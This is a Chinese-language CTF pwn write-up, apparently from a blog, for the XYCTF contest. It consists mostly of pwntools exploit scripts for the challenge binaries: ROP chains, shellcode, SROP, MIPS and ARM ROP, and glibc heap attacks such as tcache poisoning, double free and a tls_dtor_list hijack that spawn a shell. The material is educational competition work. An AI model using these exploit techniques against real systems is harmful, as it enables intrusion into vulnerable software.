xyctf Pwn WP

PWN

差fmt 和 heap plus

签到

栈溢出,printf截断泄露llibc

p = remote('xyctf.top',33874)
#p = process('./vuln')
libc = ELF('./libc.so.6')
context(os = 'linux', arch = 'amd64', log_level='debug')

payload = b'a'*39 + b'b'
# debug()
s(payload)
libcbase = get_addr() - 0x29d90
rdi = libcbase + 0x2a3e5
ret = libcbase + 0x29139
print("libc",hex(libcbase))

system,sh = ret2libc(libcbase)

payload = b'a'*40 +p64(ret) +p64(rdi) + p64(sh) + p64(system)
sl(payload)
inter()

invisible_flag

禁用orw execve 还有openat 和sendfile

p = remote('xyctf.top',34464)
#p = process('./vuln')
libc = ELF('./libc.so.6')
context(os = 'linux', arch = 'amd64', log_level='debug')

shellcode = shellcraft.openat('AT_FDCWD','./flag',0,0)
shellcode = shellcraft.sendfile(1,3,0,50)  #标准输出,文件描述符,开始位置,输入大小
sl(asm(shellcode))
inter()

static_link

静态链接 ,栈溢出 ,mprotect改权限,打shellcode

p = process('./vuln')
context(os = 'linux', arch = 'amd64', log_level='debug')

mprotect = 0x4482C0 
rdi = 0x401f1f
rsi_r15 = 0x401f1d
rdx = 0x451322
addr = 0x4c8000
read = 0x447580

payload = b'a'*40 + p64(rdi) + p64(addr) + p64(rsi_r15) + p64(0x1000)*2 + p64(rdx) + p64(0x7) +p64(mprotect) +p64(0x40181A)
sl(payload)
payload2 = b'a'*40 + p64(rdi) + p64(0) + p64(rsi_r15) + p64(addr)*2 + p64(rdx) + p64(0x100) + p64(read) + p64(addr)
sl(payload2)
shellcode = asm(shellcraft.sh())

sl(shellcode)
inter()

guestbook

数组越界一个字节

改rbp末位一字节,栈填满后门地址 ,2次leave ret 栈迁移

p = process('./pwn')
# libc = ELF('./libc.so.6')
context(os = 'linux', arch = 'amd64', log_level='debug')
#elf = ELF('./pwn')

ret = 0x40101a
backdoor = 0x401328 
for i in range(32):
	sla(b'index\n',str(i))
	sa(b'name:\n',p64(backdoor)*2)
	sla(b'id:\n',b'255')

sla(b'index\n',str(32))
sa(b'name:\n',p64(backdoor)*2)
sla(b'id:\n',b'128')

sla(b'index\n',str(-1))
inter()

baby_gift

栈溢出,没有pop rdi

审计代码,利用gift函数可以传rdi

用printf +%p 泄露libc

控制rbp的值来让fgets输入到0x404f80

最后ret到0x404fa8

构造rop链

p = remote('xyctf.top',60938)
#p = process('./gift')
libc = ELF('./libc.so.6')
context(os = 'linux', arch = 'amd64', log_level='debug')

ret = 0x40101a
addr = 0x401274

sl(b'aaaa')
payload1 = b'%p%p%p%p' + p64(0x404fa0)*4 + p64(addr)

sla(b'passwd:\n',payload2)
libcbase = int(p.recv(14),16) - 131 - libc.sym['_IO_2_1_stdin_']
system = libcbase + libc.sym['system']
payload3 = b'/bin/sh\x00'*5+ p64(ret)+p64(system)

sl(payload2)
inter()

simple_srop

p = remote('10.133.11.229',49547)
#p = process('./vuln')
libc = ELF('./libc-2.31.so')
context(os = 'linux', arch = 'amd64', log_level='debug')

syscall_ret =  0x40129d #syscall ret
set_rax_15 = 0x401296

frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = 0x404100
frame.rdx = 0x500
frame.rip = syscall_ret 
frame.rbp = 0x404120 
frame.rsp = 0x404120 
payload  = flat([b'a'*0x28,set_rax_15,frame])

p.sendline(payload)


openflag = SigreturnFrame()
openflag.rax = 2
openflag.rdi = 0x404100
openflag.rsi = 0
openflag.rdx = 0 
openflag.rbp = 0x404220
openflag.rsp = 0x404220
openflag.rip = syscall_ret

readflag = SigreturnFrame()
readflag.rax = 0
readflag.rdi = 0x3
readflag.rsi = 0x404800
readflag.rdx = 0x50 
readflag.rbp = 0x404320
readflag.rsp = 0x404320
readflag.rip = syscall_ret

writeflag = SigreturnFrame()
writeflag.rax = 1
writeflag.rdi = 1
writeflag.rsi = 0x404800
writeflag.rdx = 0x50 
writeflag.rbp = 0x404420 
writeflag.rsp = 0x404420 
writeflag.rip = syscall_ret

payload2 = flat([b'flag\x00\x00\x00\x00',b'a'*0x18,set_rax_15,openflag,set_rax_15,readflag,set_rax_15,writeflag])
# debug()
p.sendline(payload2)


inter()

ez_1.0?

mips32静态小端 ,栈溢出,无栈地址

通过mipsrop找到如下gadget

#mipsrop.stackfinder()
.text:00427968                 addiu   $a2, $sp, 0x68+var_10
.text:00427978                 move    $t9, $fp
.text:00427990                 jalr    $t9  

#mipsrop.find('move $t9,$a2')
.text:0041FBF4                 move    $t9, $a2
.text:0041FBF8                 jr      $t9

在0x78 + s p 地址赋值给 sp地址赋值给 sp地址赋值给a2,跳转执行$fp

so,在0x78 + s p 写 s h e l l c o d e ,再在 sp写shellcode,再在 spshellcode,再在fp写跳转执行a2的gadget

#p = process(['qemu-mipsel-static','-g','1234','-L','.','./mips'])
context(os = 'linux',log_level = 'debug',arch='mips')
context.endian = 'little'

shellcode  = b""  	#len = (0x30)
shellcode += b"\xff\xff\x06\x28"  # slti $a2, $zero, -1
shellcode += b"\x62\x69\x0f\x3c"  # lui $t7, 0x6962
shellcode += b"\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f
shellcode += b"\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)
shellcode += b"\x73\x68\x0e\x3c"  # lui $t6, 0x6873
shellcode += b"\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e
shellcode += b"\xf8\xff\xae\xaf"  # sw $t6, -8($sp)
shellcode += b"\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)
shellcode += b"\xf4\xff\xa4\x27"  # addiu $a0, $sp, -0xc
shellcode += b"\xff\xff\x05\x28"  # slti $a1, $zero, -1
shellcode += b"\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfab
shellcode += b"\x0c\x01\x01\x01"  # syscall 0x40404


payload = b''
payload = payload.ljust(64,b'\x00')  + p32(0x41FBF4) #0x40 + $fp
payload += p32(0x427968)  #ret_addr
payload = payload.ljust(184,b'\x00')
payload += shellcode 
# pause()
p.send(payload)
inter()

Intermittent

可写入3段 4字节shellcode

思路:再调用read 向0x114514000写入shell

利用jmp 短跳转 连接shellcode,用3个pop rsi 把栈中的0x114514000赋值给rsi ,syscall调用read写入sh

#p = process('./vuln')
#libc = ELF('./libc-2.31.so')
context(os = 'linux', arch = 'amd64', log_level='debug')

shellcode = b'\x5E\x5E\xeb\x0c'+ b'\x5e\x90\xeb\x0c'+b'\x0F\x05'
sa(b'show your magic:',shellcode)

shellcode_2 = b'\x90'*40 + asm(shellcraft.sh())
sleep(1)
s(shellcode_2)
inter()

ez_2.0?

arm架构静态32位 栈溢出

svc系统调用

  • R0 = “/bin/sh”

  • R1 = 0

  • R2 = 0

  • R7 = 0xb (对应arm下execve的系统调用)

  • Rx = svc

    blx 跳转rx执行

#p = process(['qemu-arm','-g','1234','-L','.','./arm'])

# 0x00043224 : mov r2, r4 ; blx r3
# 0x0005f73c : pop {r0, pc}
# 0x0005f824 : pop {r1, pc}
# 0x00010160 : pop {r3, pc}
# 0x000280a4 : pop {r4, r7, pc}
# 0x0002337c : svc #0 ; pop {r4, r5, r6, r7, r8, pc}

mov_r2_r4 = 0x43224
svc = 0x2337c
pop_r0 = 0x5f73c
pop_r1 = 0x5f824 
pop_r3 = 0x10160
pop_r4_r7 = 0x280a4
sh_addr = 0x8A090
payload = b'\x00'*68 + p32(pop_r0) + p32(sh_addr) 
payload += p32(pop_r1) + p32(0) 
payload +=p32(pop_r4_r7) + p32(0) + p32(0xb) 
payload += p32(pop_r3) + p32(0x2337c) + p32(0x43224)

s(payload)
inter()

ptmalloc2 it’s myheap

libc-2.35 add 存在溢出,将堆指针放在下一个chunk的prev_size中 ,chunk_list 指针free后未置0

思路:伪造chunk 造成堆块重叠,tcache bin attack 分配chunk到gift为system(/bin/sh)

#p = process('./heap')
libc = ELF('./libc.so.6')
context(os = 'linux', arch = 'amd64', log_level='debug')

def add(index,size,Content):
	sla(b'>>>',b'1')
	sla(b'idx:',str(index))
	sla(b'size:',str(size))
	sla(b'data:',Content)

def free(index):
	sla(b'>>>',b'2')
	sla(b'id:',str(index))

def show(index):
	sla(b'>>>',b'3')
	sla(b'id:',str(index))

sla(b'>>>',b'114514')
rl(b'gift: ')
libcbase = int(p.recv(14),16) - libc.sym['puts']
print("libcbase===>",hex(libcbase))

add(0,0x28,b'aaaa')
add(1,0x28,b'bbbb')
add(2,0x18,b'cccc')
free(0)
free(1) # 将2个0x20大小chunk_list  free掉
add(3,0x18,b'a'*0xf) #再申请出来就可以泄露chunk_list_0在堆上存的地址
show(3)

rl(b'a\n')
heap_base = u64(p.recv(4).ljust(8,b'\x00')) - 0x2c0
print("heap_base===>",hex(heap_base))

free(3)

#将第2字段改成1绕过程序中的free的判断,再修改chunk_list_1存的地址指向即将伪造的地址
add(3,0x18,p64(0)+p64(1)+p64(heap_base + 0x2d0))
add(4,0x28,p64(0)*4)
#伪造0xa1大小的chunk,地址0x2d0
add(5,0x28,p64(0x30)+p64(0xa1)*3)
#利用uaf,让fake_chunk进入tcache bin
free(1)

add(6,0x28,p64(0)*4)
#让fake_chunk内部的chunk 进入bin
free(6)
free(4)

#利用堆块重叠,泄露fake_chunk 的a
show(5)
rl(b'\x00\xa1')
p.recv(16)
a = u64(p.recv(8))

fd = (heap_base >> 12)^0x404070
#覆盖伪造fd
fake_chunk = p64(0)*3 + p64(0x21) + p64(heap_base >> 12) + p64(0) 
fake_chunk += p64(heap_base + 0x3c0) + p64(0x31) + p64(fd) + p64(a)
add(8,0x90,fake_chunk)

system = libcbase + libc.sym['system']
add(9,0x28,b'1')
add(10,0x28,b'/bin/sh\x00' + p64(system)*2 )
sla(b'>>>',b'114514')
inter()

fastfastfast

2.31 uaf 无edit add限制大小

参考fastbin关于chunk size检查问题&&花式泄露libc&&极限getshell&&huxiangbei_2019_namesyste_shell中的chunksize-CSDN博客

fastbin double free 分配堆到chunklist 。覆盖chunklist 1为 free_got地址 泄露libc

再进行一次double free 将堆分配到free_got 覆盖free_got为sytem

覆盖fd的时候 注意绕过tcache double free的检查

p = process('./vuln')
libc = ELF('./libc-2.31.so')
context(os = 'linux', arch = 'amd64', log_level='debug')

def add(index,Content):
	sla(b'>>>',b'1')
	sla(b'idx\n',str(index))
	sa(b'content\n',Content)

def free(index):
	sla(b'>>>',b'2')
	sla(b'idx\n',str(index))

def show(index):
	sla(b'>>>',b'3')
	sla(b'idx\n',str(index))

for  i in range(12): 
	add(i,b'a')

for  i in range(7): 
	free(i)

free(8)
free(9)
free(8)

for  i in range(7): 
	add(i,b'a')

add(0,p64(0x4040A8))
add(1,b'a')
add(2,b'a')
add(3,p64(0)*3+ p64(0x404018))
show(0)

libcbase = get_addr()  - libc.sym['free']
print(hex(libcbase))

for  i in range(12): 
	add(i,b'/bin/sh\x00')

for  i in range(7): 
	free(i)

free(8)
free(9)
free(8)

for  i in range(7): 
	add(i,b'a')

add(0,p64(0x404010))
add(1,b'a')
add(2,b'a')
add(3,p64(libcbase + libc.sym['system'])*2)

free(10)
inter()

one_byte

2.31 off by one

思路

  1. 填满tcache bin0xc0大小的堆块,使得下一块0xc0大小的堆块被释放后会进入unsortedbin
  2. 申请6个0x31大小的堆块(第6个堆块用于防止unsortedbin大小堆块的合并)
  3. 用第1个堆块修改第二个堆块的size位为0xc1,再将第2个堆块释放掉,该堆块便能进入unsortedbin
  4. 切割unsortedbin泄露出libc基址,并造成堆块重叠
  5. 利用堆块重叠,我们通过修改fd可以申请修改__free_hooksystem
def add(index,size):
	sla(b'>>>',b'1')
	sla(b'chunk_idx:',str(index))
	sla(b'size:',str(size))

def free(index):
	sla(b'>>>',b'2')
	sla(b'chunk_idx:',str(index))
	
def edit(index,content):
	sla(b'>>>',b'4')
	sla(b'chunk_idx:',str(index))
	sl(content)

def show(index):
	sla(b'>>>',b'3')
	sla(b'chunk_idx:',str(index))


for i in range(0,7):
	add(i,0xb0)

for i in range(0,7):
	free(i)

for i in range(7,13):
	add(i,0x28)

edit(7,b'\x00'*0x28 + b'\xc1')

free(8)
add(13,0x28) #重叠chunk_7
show(9)

libcbase = get_addr() - libc.sym['__malloc_hook'] - 96 -0x10
print(hex(libcbase))


for i in range(14,17):
	add(i,0x28)

free(15)	# 15<->10
free(14)    # 14<->9

free_hook = libcbase + libc.sym['__free_hook']
system = libcbase + libc.sym['system']

edit(9,p64(free_hook))

add(17,0x28)
add(18,0x28)
edit(18,p64(system))
edit(17,b'/bin/sh\x00')

free(17)
inter()

malloc_flag

纯签到 malloc 一个0x100的chunk 直接show

ptmalloc2 it’s myheap pro

比普通版 少了个后门 没有直接给libc

[原创] Glibc-2.35下对tls_dtor_list的利用详解-Pwn-看雪-安全社区|安全招聘|kanxue.com

思路

  1. 利用溢出,泄露存在prev_size的堆地址
  2. 填满tcache bin 0x90,构造堆块重叠,将0x90的fake chunk 进 unsorted bin 泄露libc
  3. 将fack chunk add 出来,并将地址范围内的 chunk free掉,leak出key
  4. 根据偏移计算tls_dtor_list地址,覆盖fd
  5. 再利用溢出覆盖prve_size的堆地址 为 fs + 0x30 ,并show 出其值
  6. add一个堆,写入 [system ^ fs + 0x30 再 循环左移 17位 ] +sh地址
  7. 将堆分配至tls_dtor_list,写入 我们刚刚的system所在的堆地址
  8. exit(0) get shell
#p = process('./vuln')
libc = ELF('./libc.so.6')
context(os = 'linux', arch = 'amd64', log_level='debug')
elf = ELF('./vuln')

def add(index,size,Content):
	sla(b'>>>',b'1')
	sla(b'idx:',str(index))
	sla(b'size:',str(size))
	sla(b'data:',Content)

def free(index):
	sla(b'>>>',b'2')
	sla(b'id:',str(index))

def show(index):
	sla(b'>>>',b'3')
	sla(b'id:',str(index))

def circular_left_shift(string, shift):
    return string[shift:] + string[:shift]

add(0,0x28,b'aaaa')
add(1,0x28,b'bbbb')
add(2,0x18,b'cccc')
free(0)
free(1) 
add(3,0x18,b'a'*0xf) 
show(3)
rl(b'a\n')
heap_base = u64(p.recv(4).ljust(8,b'\x00')) - 0x2c0
print("heap_base===>",hex(heap_base))

free(3)

add(3,0x18,p64(0)+p64(1)+p64(heap_base + 0x2d0))
add(4,0x28,p64(0)*4)
add(5,0x28,p64(0x30)+p64(0x91)*3)

for i in range(6,13):
	add(i,0x80,b'aaaa')
for i in range(6,13):
	free(i)


free(1)
show(5)

libcbase = get_addr() - 0x21ace0 
print(hex(libcbase)) 

for i in range(6,13):
	add(i,0x80,b'aaaa')

add(1,0x80,b'a')
add(14,0x28,b'a')
free(14)
free(4)
show(1)
rl(b'\x00\x31')
p.recv(15)
a = u64(p.recv(8))
print("key===>",hex(a))

free(1)

tls_dtor_list =  libcbase - 0x2920
print(hex(tls_dtor_list))

fd = (heap_base >> 12) ^ tls_dtor_list
fake_chunk = p64(0)*3 + p64(0x21) + p64(heap_base >> 12) + p64(0) 
fake_chunk += p64(heap_base + 0x3c0) + p64(0x31) + p64(fd) + p64(a)
add(1,0x80,fake_chunk)

system = libcbase + libc.sym['system']
sh = libcbase + next(libc.search(b"/bin/sh"))

add(14,0x28,b'0')

fs = libcbase - 0x2890
print("fs--->",hex(fs))

free(6)
free(7)

add(4,0x18,p64(0x10) + p64(1) + p64(fs-0x8))
show(6)
rl(b'\x00')
p.recv(7)
fs_ = u64(p.recv(8))

system = system ^ fs_
num = bin(system)[2:].zfill(64) 
shift = 17
result = int(circular_left_shift(num, shift),2) 

print("addr ==",hex(result))
payload = p64(result) + p64(sh)

free(3)
add(3,0x18,payload)
add(15,0x28,p64(0) + p64(heap_base + 0x2a0))
sl(b'4')
inter()
  • 15
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值